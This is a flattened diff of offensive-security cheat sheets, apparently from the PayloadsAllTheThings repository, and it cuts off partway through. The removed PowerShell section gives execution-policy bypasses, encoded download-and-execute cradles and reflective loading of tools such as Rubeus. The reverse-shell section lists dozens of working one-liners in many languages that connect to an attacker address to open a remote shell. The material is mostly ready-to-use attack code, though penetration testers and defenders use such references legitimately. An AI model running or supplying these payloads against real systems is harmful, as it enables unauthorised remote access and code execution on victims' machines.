* [Executing macros from docx with remote - RedXORBlueJuly 18, 2018](http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html)
* [One thousand and one ways to copy your shellcode to memory (VBA Macros) - X-C3LL - Feb 18, 2021](https://adepts.of0x.cc/alternatives-copy-shellcode/)
* [Running macros via ActiveX controls - greyhathacker - September 29, 2016](http://www.greyhathacker.net/?p=948)
* [Anti-Analysis Techniques Used in Excel 4.0 Macros - 24 March 2021 - @Jacob_Pimental](https://www.goggleheadedhacker.com/blog/post/23)

View File

@@ -1,110 +1,17 @@
# Powershell # Powershell
## Summary :warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/)
* Execution Policy - [Execution Policy](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#execution-policy)
* Encoded Commands - [Encoded Commands](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#encoded-commands)
* Download file - [Constrained Mode](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#constrained-mode)
* Load Powershell scripts - [Encoded Commands](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#encoded-commands)
* Load C# assembly reflectively - [Download file](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#download-file)
* Secure String to Plaintext - [Load Powershell scripts](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#load-powershell-scripts)
* References - [Load Chttps://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/# assembly reflectively](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#load-c-assembly-reflectively)
- [Call Win API using delegate functions with Reflection](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#call-win-api-using-delegate-functions-with-reflection)
## Execution Policy - [Resolve address functions](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#resolve-address-functions)
- [DelegateType Reflection](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#delegatetype-reflection)
```ps1 - [Example with a simple shellcode runner](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#example-with-a-simple-shellcode-runner)
powershell -EncodedCommand $encodedCommand - [Secure String to Plaintext](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#secure-string-to-plaintext)
powershell -ep bypass ./PowerView.ps1 - [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#references)
# Change execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
Set-ExecutionPolicy Bypass -Scope Process
```
## Constrained Mode
```ps1
# Check if we are in a constrained mode
# Values could be: FullLanguage or ConstrainedLanguage
$ExecutionContext.SessionState.LanguageMode
## Bypass
powershell -version 2
```
## Encoded Commands
* Windows
```ps1
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```
* Linux: :warning: UTF-16LE encoding is required
```ps1
echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
```
## Download file
```ps1
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output
# Powershell 4+
IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
```
## Load Powershell scripts
```ps1
# Proxy-aware
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"
# Non-proxy aware
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
```
## Load C# assembly reflectively
```powershell
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()
# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```
## Secure String to Plaintext
```ps1
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
```
## References
* [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/)
* [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters)

View File

@@ -1,582 +1,43 @@
# Reverse Shell Cheat Sheet # Reverse Shell Cheat Sheet
## Summary :warning: Content of this page has been moved to [InternalAllTheThings/cheatsheet/shell-reverse](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/)
* [Tools](#tools) - [Tools](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#tools)
* [Reverse Shell](#reverse-shell) - [Reverse Shell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#reverse-shell)
* [Awk](#awk) - [Awk](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#awk)
* [Automatic Reverse Shell Generator](#revshells) - [Automatic Reverse Shell Generator](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#revshells)
* [Bash TCP](#bash-tcp) - [Bash TCP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#bash-tcp)
* [Bash UDP](#bash-udp) - [Bash UDP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#bash-udp)
* [C](#c) - [C](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#c)
* [Dart](#dart) - [Dart](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#dart)
* [Golang](#golang) - [Golang](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#golang)
* [Groovy Alternative 1](#groovy-alternative-1) - [Groovy Alternative 1](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#groovy-alternative-1)
* [Groovy](#groovy) - [Groovy](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#groovy)
* [Java Alternative 1](#java-alternative-1) - [Java Alternative 1](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#java-alternative-1)
* [Java Alternative 2](#java-alternative-2) - [Java Alternative 2](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#java-alternative-2)
* [Java](#java) - [Java](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#java)
* [Lua](#lua) - [Lua](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#lua)
* [Ncat](#ncat) - [Ncat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#ncat)
* [Netcat OpenBsd](#netcat-openbsd) - [Netcat OpenBsd](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#netcat-openbsd)
* [Netcat BusyBox](#netcat-busybox) - [Netcat BusyBox](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#netcat-busybox)
* [Netcat Traditional](#netcat-traditional) - [Netcat Traditional](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#netcat-traditional)
* [NodeJS](#nodejs) - [NodeJS](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#nodejs)
* [OpenSSL](#openssl) - [OGNL](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#ognl)
* [Perl](#perl) - [OpenSSL](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#openssl)
* [PHP](#php) - [Perl](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#perl)
* [Powershell](#powershell) - [PHP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#php)
* [Python](#python) - [Powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#powershell)
* [Ruby](#ruby) - [Python](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#python)
* [Socat](#socat) - [Ruby](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#ruby)
* [Telnet](#telnet) - [Rust](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#rust)
* [War](#war) - [Socat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#socat)
* [Meterpreter Shell](#meterpreter-shell) - [Telnet](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#telnet)
* [Windows Staged reverse TCP](#windows-staged-reverse-tcp) - [War](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#war)
* [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp) - [Meterpreter Shell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#meterpreter-shell)
* [Linux Staged reverse TCP](#linux-staged-reverse-tcp) - [Windows Staged reverse TCP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#windows-staged-reverse-tcp)
* [Linux Stageless reverse TCP](#linux-stageless-reverse-tcp) - [Windows Stageless reverse TCP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#windows-stageless-reverse-tcp)
* [Other platforms](#other-platforms) - [Linux Staged reverse TCP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#linux-staged-reverse-tcp)
* [Spawn TTY Shell](#spawn-tty-shell) - [Linux Stageless reverse TCP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#linux-stageless-reverse-tcp)
* [References](#references) - [Other platforms](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#other-platforms)
- [Spawn TTY Shell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#spawn-tty-shell)
## Tools - [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#references)
- [reverse-shell-generator](https://www.revshells.com/) - Hosted Reverse Shell generator ([source](https://github.com/0dayCTF/reverse-shell-generator)) ![image](https://user-images.githubusercontent.com/44453666/115149832-d6a75980-a033-11eb-9c50-56d4ea8ca57c.png)
- [revshellgen](https://github.com/t0thkr1s/revshellgen) - CLI Reverse Shell generator
## Reverse Shell
### Bash TCP
```bash
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
```
### Bash UDP
```bash
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
```
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
### Socat
```powershell
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
```
```powershell
user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
```
Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)
### Perl
```perl
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
### Python
Linux only
IPv4
```python
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```
```python
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```
```python
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
```
IPv4 (No Spaces)
```python
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
```python
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```
```python
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
```
IPv4 (No Spaces, Shortened)
```python
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```
```python
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
```
```python
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
```
IPv4 (No Spaces, Shortened Further)
```python
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```
```python
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
```
```python
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
```
IPv6
```python
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
IPv6 (No Spaces)
```python
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
IPv6 (No Spaces, Shortened)
```python
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```
Windows only
```powershell
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```
### PHP
```bash
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
```
```bash
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
```
### Ruby
```ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
### Golang
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
### Netcat Traditional
```bash
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
```
### Netcat OpenBsd
```bash
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```
### Netcat BusyBox
```bash
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```
### Ncat
```bash
ncat 10.0.0.1 4242 -e /bin/bash
ncat --udp 10.0.0.1 4242 -e /bin/bash
```
### OpenSSL
Attacker:
```powershell
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
user@attack$ ncat --ssl -vv -l -p 4242
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
```
TLS-PSK (does not rely on PKI or self-signed certificates)
```bash
# generate 384-bit PSK
# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48
# server (attacker)
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
# client (victim)
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE
```
### Powershell
```powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
```powershell
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
```
### Awk
```powershell
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
### Java
```java
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();
```
#### Java Alternative 1
```java
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
#### Java Alternative 2
**NOTE**: This is more stealthy
```java
Thread thread = new Thread(){
public void run(){
// Reverse shell here
}
}
thread.start();
```
### Telnet
```bash
In Attacker machine start two listeners:
nc -lvp 8080
nc -lvp 8081
In Victime machine run below command:
telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081
```
### War
```java
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file
```
### Lua
Linux only
```powershell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"
```
Windows and Linux
```powershell
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
### NodeJS
```javascript
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
or
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
### Groovy
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)
NOTE: Java reverse shell also work for Groovy
```java
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
#### Groovy Alternative 1
**NOTE**: This is more stealthy
```java
Thread.start {
// Reverse shell here
}
```
### C
Compile with `gcc /tmp/shell.c --output csh && csh`
```csharp
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
